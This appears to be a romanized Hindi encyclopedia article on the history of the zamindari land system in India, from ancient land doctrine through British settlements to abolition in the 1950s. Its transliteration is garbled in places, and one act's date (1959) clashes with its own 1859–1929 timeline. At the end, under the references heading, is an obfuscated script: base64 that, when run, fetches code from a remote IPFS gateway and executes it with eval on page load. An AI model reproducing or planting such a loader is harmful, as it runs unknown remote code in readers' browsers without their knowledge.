भारतीय ज़मींदारी प्रथा

bharatiy zamiandari pratha madhyakalin tatha aupaniveshikakalin bharat mean prachalit thi. bharat ki prachin vicharadhara ke anusar bhoomi sarvajanik sanpatti thi, isaliye yah vyakti ki sanpatti nahian ho sakati thi. bhoomi bhi vayu, jal evan prakash ki tarah prakritidatt upahar mani jati thi. madras (vartaman chainnee) mean zamiandari pratha ka uday aangrez shasakoan ki nilam niti dvara hua. gaanvoan ki bhoomi ka vibhajan kar unhean nilam kar diya jata tha aur adhikatam mooly dene vale ko vikray kar diya jata tha. praranbh mean avadh mean bandobast krishak se hi kiya gaya tha, parantu tadanantar rajanitik karanoan se yah bandobast zamiandaroan se kiya gaya.

aitihasik tathy

• maharshi jaimini ke matanusar- "raja bhoomi ka samarpan nahian kar sakata, kyoanki yah usaki sanpatti nahian varanh manav samaj ki sammilit sanpatti hai. isaliye is par sabaka saman roop se adhikar hai."
• manu ka bhi spasht kathan hai ki- "rrishiyoan ke matanusar bhoomi svamitv ka pratham adhikar use hai, jisane jangal katakar use saph kiya tha."

at: prachin bharat ke kafi b de bhag mean bhoomi par gram ke pradhan ka nirvachan gram samuday karata tha tatha usaki niyukti rajy ki sammati se hoti thi. rajy use bhoomikar n dene par hata sakata tha, yadyapi yah pad vanshanugat tha tatha isaki prapti ke liye janamat tatha rajy svikriti avashyak thi. at: vartaman samay ke zamiandaroan se, jo nirvachit nahian hote, ve bhinn the.

bhoomi ka kray-vikray

bhoomi ka sanpatti ke roop mean kray-vikray prachin bharat mean sanbhav nahian tha. is tathy ki pushti pashchaty vidvanh beden pavel tatha sar j aaurj kaianpabel ne bhi ki hai. kaianpabel ka kathan hai ki bhoomi jotane ka adhikar ek adhikar matr hi tha aur hindoo vyavastha ke anusar bhoomi nahian mana gaya tha. adhunik anusandhanoan dvara yah jnat hua hai ki prachin bharat mean samant, uparik, bhogik, pratihar tatha dandanayak vidyaman the. ye log nyoonadhik samant pratha ke anukool the. kiantu inake adhikaroan tatha kartavyoan ka pata nishchay roop se nahian ho saka hai, sivay isake ki ye log apane svamiyoan ko avashyakata p dane par sainik bhejate the. in adhikariyoan ko parishramik ke roop mean bhoomi pradan ki jati thi.

yajnavalky ka mat

bhoomi vyavastha ke sanbandh mean yajnavalky ke matanusar char varg- 'mahipati', 'kshetrasvami', 'krishak' aur 'shikami' the. achary brihaspati ne kshetrasvami ke sthan mean keval 'svami' shabd ka hi prayog kiya hai, parantu isaka spashtikaran kar diya hai ki svami, raja aur khetihar ke madhy ka varg tha. uparyukt varnan keval bhoodhriti ke vargikaran ko iangit karata hai, n ki krishak ko ek aangl das ke star par pahuancha deta hai. mukhy prashn to yah hai ki bhoomi par svatv adhikar kisako- rajy ko, krishak ko athava kisi madhyavarti varg ko vidvanoan ke matanusar prachin bharat mean yah adhikar hi tha, jo svatv adhikar nahian kaha ja sakata.

yavanoan ki bhoomi vyavastha

yavan shasanakal mean is prachin bhoomi vyavastha mean koee roopaantar nahian dikhaee deta aur n bhoomi-svatv-adhikaroan ke mool siddhaantoan mean parivartan hi. yavan shasak bhoomikar gaanv ke mukhiya dvara hi vasool karate the aur kabhi-kabhi sthaniy saradaroan v rajaoan dvara, jo apana star gaanv ke mukhiya se ooancha hone ka dava karate the. in rajaoan ke dave mean rajy aair krishak ke bich mean ek madhyavarti varg ka janm pratit hota hai. parantu samantavad pad avarodh sthayi rakha gaya tha, kyoanki rajy sarvada in rajaoan ko karmachari hi manate the. yadyapi ye raja vanshanugat hone lage the, tathapi rajy ko inake pad ko dene tatha vapas lene ka adhikar sadaiv prapt tha. ek raja ke uttaradhikari ko raja ki sanad prapt karane ke liye prarthana patr dena p data tha aur sanad ki prapti ke pashchath‌ hi vah raja hota tha. 'aina-e-akabari' mean krishak tatha rajy ke bich mean kisi madhyavarti varg ko manyata nahian di gee hai tatha kathit raja aur zamiandar saiddhaantik aur vastavik roop mean keval kar vasool karane vale karmachari hi the.

yah ullekhaniy hai ki yavan shasakoan ne bhoomi-svamitv-adhikar ka kabhi dava nahian kiya tha. yah bat in aitihasik tathyoan se spasht hai ki badashah aurangazeb ne huandi, palam tatha any sthanoan par krishakoan se bhoomi kharidi thi, jaisa akabar ne akabarabad aur ilahabad mean durg banane ke lie kiya tha. aisa hi shahajahaan ne bhi kiya tha. ukt pramanoan se siddh hota hai ki yavan shasak keval kar vasool karane mean hi sanpatti adhikar manate the, n ki bhoomi mean. unake shasanakal mean krishak ke adhikaroan ko uchchatam manyata di gee thi. krishak apana kar raja tatha gram ke mukhiya dvara hi deta tha aur raja tatha mukhiya ko rajy dvara is kary ka parishramik milata tha.

ardhasamantavadi bhavana

san 1707 ee. mean mugal badashah aurangazeb ki mrityu ke pashchath krishakoan ke adhikaroan ka lop dhire-dhire aranbh hua, jabaki keandriy satta shithil p dane lagi. is arajakata ke samay mean ardhasamantavadi svarthoan ki manobhavana ka pradurbhav hua. jab rajy ki satta shithil p dane lagi, rajy ke karmachari praja ke janamal ki raksha karane mean asamarth hone lage. phalasvaroop gram nivasi raksha ke liye shaktishali karmachari evan raja ya mukhiya logoan ka sahara lene lage. in logoan ne svabhavat: sharanarthi krishakoan ke bhoomyadhikaroan par akraman kiya. in paristhitiyoan mean zamiandari pratha ke aankur pae jate haian. parantu is sankat kal mean bhi krishakoan ke bhoomyadhikaroan ka poorn samarpan nahian hua tha.

british kal mean zamiandari pratha ka uday

bharat mean aangrezoan ke agaman kal se hi zamiandari pratha ka uday hone laga. aangrez shasakoan ka vishvas tha ki ve bhoomi ke svami haian aur krishak unaki praja hai, isaliye unhoanne sthayi bandovast tatha asthayi bandovast b de krishakoan tatha rajaoan aur zamiandaroan se kie. yadyapi rajanitik auchity se prabhavit hokar usane ek ek paragana har kar vasool karane vale ijaredar ko paanch varsh ke liye patte par de diya. is prakar zamiandari pratha ko aangrazoan ne manyata pradan ki, yadyapi aranbh mean unaka vichar krishakoan ko unake adhikaroan se vanchit karane ka nahian tha. san 1786 ee. mean l aaurd k aaurnav aaulis l aaurd varen hestigaj ke bad gavarnar-janaral hua. l aaurd k aaurnav aaulis bhi zamiandari pratha ke paksh mean tha. usane san 1791 ee. bangal, bihar tatha u disa mean das varshiy bandobast ki ajna di. do varsh pashchath 'bord aauf dairektars' ne is das varshiy yojana ko sthayi bandobast bana dene ki anumati de di.

aangrez shasakoan ki nilam niti

madras (vartaman chainnee) mean zamiandari pratha ka uday aangrez shasakoan ki nilam niti dvara hua. gaanvoan ki bhoomi ka vibhajan kar unhean nilam kar diya jata tha aur adhikatam mooly dene vale ko vikray kar diya jata tha. praranbh mean avadh mean bandobast krishak se hi kiya gaya tha, parantu tadanantar rajanitik karanoan se yah bandobast zamiandaroan se kiya gaya. mahanh itihasakar sar vianseant e. smith, aligadh ki bandobast riport mean, yah bat spasht roop se svikar karata hai ki prachalit bhoomyadhikaroan ki upeksha karate hue keval upayogita ko lakshy mean rakhakar bandobast ijaradaroan se kie ge. anyayapoorn kar rashi ikattha karane ka yah sabase saral upay hai, tatha yah rajaniti ke drishtikon se bhi upayogi hai, kyoanki isake phalasvaroop sarakar ko ek shaktishali tatha dhani varg ki sahayata milati rahegi. is prakar bharatavarsh ke itihas mean sarvapratham in bandobastoan dvara rajy aur krishakoan ke bich mean jamiandaroan ka varg aangrezoan ki niti dvara sthapit hua, jisake phalasvaroop krishakoan ke bhoo-sanpatti adhikar, jo anadi kal se chale a rahe the, chhin ge. yah madhyavarti varg din pratidin dhani hota gaya, kyoanki aangrez shasak apani kar rashi mean se adhik se adhik hissa unhean pralobhan ke roop mean dete rahe.

in bandobastoan mean krishakoan ke hitoan ki or koee dhyan nahian diya gaya tha, jisake parinamasvaroop unaka du:kh, apaman evan daridray din pratidin badhata gaya. kee bar aangrez shasakoan ne bhi is or dhyan dilaya ki krishakoan ki bhoodhriti ki raksha ki jaye evan unaka lagan bandobast ke samay tak nirdharit kar diya jaye. phir bhi kuchh nahian kiya gaya. isaka karan yah tha ki aangrez shasakoan ki dharana thi, ki zamiandaroan ke sath vyavahar mean udarata dikhane par jab ve sanpann evan santusht raheange to ve apane asamiyoan ko nahian sataeange, jisake phalasvaroop ve bhi khushahal raheange. parantu yah unaki mahanh bhool thi, kyoanki jamiandaroan ne hamesha hi apane kartavy ke sath vishvasaghat kiya. at: aangrez shasak yah mahasoos karane lage ki is bhool ka sudhar kiya jae. phalasvaroop unhoanne krishakoan ki dasha sudharane ke lie bhoomi sanbandhi vidhanoan ki vyavastha ki. yah kadam zamiandari pratha ke ast ki disha mean pratham charan kaha ja sakata hai.

bhoomi sanbandhi pahala adhiniyam

is pratham charan mean, jo san 1859 ee. se 1929 ee. tak raha, jo qanoon bane unase zamiandaroan ke lagan badhane ke adhikaroan par kuchh pratibandh lagae ge aur uchch shreni ke krishakoan ko labh bhi hue. kiantu in qanoonoan ka mukhy uddeshy zamiandaroan ko lagan vasool karane mean sahooliyat dene ka tha, jisase ve rajy ko rajasv thik samay par de sakean. san 1959 ee. mean bhoomi sanbandhi pahala adhiniyam pas hua. yah adhiniyam samast british bharat ke liye ek adarsh bhoomi-adhiniyam tha, jisake anuroop adhiniyam bharat ke sabhi bhagoan mean pas hue aur samay-samay par unamean sanshodhan bhi kie ge taki asantusht krishakoan ko shaant kiya ja sake. kiantu zamiandar phir bhi krishakoan ko apane nyayapoorn tatha anyayapoorn karoan ko vasoolane ke liye nicho date rahe, jisase kisanoan mean ghor asantosh tatha bechaini phailane lagi.

kisan aandolan

zamiandari pratha ke ast ke kram mean doosara charan san 1930 ee. se 1944 ee. tak raha. is samay mean sare desh mean kisan aandolan hone lage. in aandolanoan ka bij ek kisan sabha ne boya tha, jo 'akhil bharatiy kaangres' ki ilahabad baithak mean 11 faravari, san 1918 ee. ko huee thi. tatpashchath‌ kaangres kisanoan ke hitoan ko age badhane lagi. parinamasvaroop gramin janata mean kafi jagrati paida ho gee. pan. javaharalal neharoo ne 'yoo. pi. kaangres kameti' mean 27 aktoobar, 1928 ko ghoshana ki ki rajanitik svatantrata nirarthak hai, jab tak kisanoan ko shoshan se mukti n prapt ho. shanai: shanai: kisanoan ki jagarookata badhi aur sath hi sath unaki vyakulata bhi. kisan varg ab adhik mukhar ho gaya aur bhoodhriti ki sthirata evan lagan mean kami ki maang karane laga.

kisan aandolanoan se prabhavit hokar raiyyatava di kshetroan mean naye adhiniyam banae gaye, jinase krishakoan ke hitoan ki raksha ho sake. 'malabar teneansi aikt' (1930 ee.) is sanbandh mean sima chinh hai. isake bad 'bhopal laiand revenyoo aikt', 1935 tatha 'asam teneansi aikt' 1935 pas hue. 'gavarnameant aauv iandiya aikt', 1935 ke arntagat jab ‘pravianshal atonomi’ ka udghatan hua to praantiy sarakaroan ne bhoomi sudhar adhiniyamoan ki vyavastha ki, jinamean krishakoan ko aur adhikar pradan kie ge tatha zamiandaroan ke adhikaroan ki katauti ki gee. 'yoo. pi. teneansi aikt', 1939 tatha 'banbee teneansi aikt', 1939 ye vishisht udaharan aise vyapak adhiniyamoan ke haian, jinake dvara krishakoan ko mauroosi adhikar die ge evan krishakoan ke hit mean zamiandaroan ke katipay adhikar chhin liye gaye.

zamiandari unmoolan ka prastav

in bhoomi sudhar adhiniyamoan ke banane par bhi zamiandari pratha ki buraiyaan vidyaman rahian, yadyapi kafi had tak zamiandaroan ko pangu bana diya gaya tha. in zamiandaroan ko neharoo ‘british sarakar ki atilalit santan’ kaha karate the. ve bhootakalin samantavadi pratha ke pratik the, jo ki adhunik paristhatiyoan ke bilkul pratikool ho gee thi. isalie 'iandiyan neshanal kaangres' ne kee bar is bat ki ghoshana ki ki zamiandari unmoolan ko kaangres ke karyakram mean pramukh sthan dena chahie. ek kisan kaphroanans 17 aprail, 28 aprail san 1935 ee. ko saradar patel ke sabhapatitv mean ilahabad mean huee thi. usane zamiandari unmoolan ko prastav pas karake is or ek pramukh kadam uthaya. is prastav mean yah ghoshana ki gee thi ki ‘gram kalyan ke drishtikon se vartaman zamiandari pratha bilkul viparit hai. yah pratha british shasan ke agaman mean layi gayi aur isase gramin jivan poornataya tahas-nahas ho gaya hai’. parantu san 1939 ee. mean dvitiy vishvayuddh shuroo ho jane ke karan bhoomi sudhar ka sara karyakram ruk gaya.

yuddh ki samapti ke bad zamiandari pratha ke aant ka aantim charan aranbh hua jo san 1945 se 1955 tak chala. yuddh samapt hote hi british sarakar ne 1945 ee. mean 'gavarnameant aauf iandiya aikt-1935' ee. ke aantargat praantiy sadanoan ke chunav karane ka phaisala kiya. kaangres ne chunav mean bhag lene ka nishchay kiya aur disanbar, 1945 mean chunav ghoshana patr nikala. is ghoshana patr mean zamiandari unmoolan ke vishay mean spasht tay kaha gaya ki ‘bhoomi vyavastha ka sudhar, jisaki bharat mean ati avashyakata hai, krishakoan tatha rajy ke bich madhyavarti varg ko hatane se sanbandhit hai. isalie is madhyavarti varg ke adhikaroan ka uchit pratikar dekar prapt kar liya jana chahie." is ghoshana patr se arthashastri, rajanitijn tatha patrakar sabhi sahamat the.

arthik vikas rokane vali pratha

zamiandari pratha bharatiy arthik vikas mean rukavat dalati thi, kyoanki b de zamiandar hamesha pratikriyavad ke samarthak the. ‘landan ikonomist’ ne inake vishay mean likha tha ki "inamean se adhikatar ‘thaikarase’ ke patr ‘l aaurd stin’ ki tarah dushcharitr, ‘jen astin’ ke ‘mistar benet’ ki tarah alasi, ‘surtijaskvayar’ ki tarah sharabi the. 'bangal laiand kamishan' (san 1940 ee.) bhi is nishkarsh par pahuancha ki "san 1793 ee. ka sthayi bandobast us samay jin bhi karanoan se uchit samajha gaya ho, aj ki paristhiti mean anupayukt hai aur zamiandari pratha mean itani buraiyaan upaj chuki haian ki yah ab rashtr ke hit mean kisi bhi prakar upayogi nahian rah gee hai." bharatiy tatha pashchaty arthavettaoan ki ray mean zamiandari unmoolan adhik krishi utpadan ke lie atyavashyak hai. isake atirikt yah pratha sansar ke har bhag mean samayanukool n hone ke karan samapt ho chuki hai. punashch, yah pratha rajy ke liye adhik kharchili hai. sarvopari, yah pratha is samay aisi sthiti par pahuanch chuki thi ki yadi isaka unmoolan n kiya gaya hota to isake karan ne keval rashtriy arthik samasya par hi varanh samaj suraksha par bhi vipatti a p dati.

pratha ki samapti

at: san 1946 ee. mean chunav mean saphalata ke phalasvaroop jab har praant mean kaangres ke mantrimandal bane to chunav pratijna ke anusar zamiandari pratha ko samapt karane ke liye vidheyak prastut kiye gaye. ye vidheyak san 1950 se 1955 tak banakar chaloo ho ge, jinake parinamasvaroop zamiandari pratha ka bharat mean unmoolan ho gaya aur krishakoan evan rajy ke bich pun: sidha sanbandh sthapit ho gaya. bhoomi ke svatvadhikar ab krishakoan ko vapas mil ge, jinaka upayog ve anadi paranparagat kal se karate chale ae the. is prakar jis zamiandari pratha ka uday aangrezoan ke agaman se hua tha, usaka aant bhi unake shasan ke samapt hote hi ho gaya. is pratha ki samapti par kisi ne tanik bhi shok prakat nahian kiya, kyoanki isaka vinash hote hi purane siddhaant ki, jisake anusar bhoomi ka svami krishak hota tha, punaravriti huee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>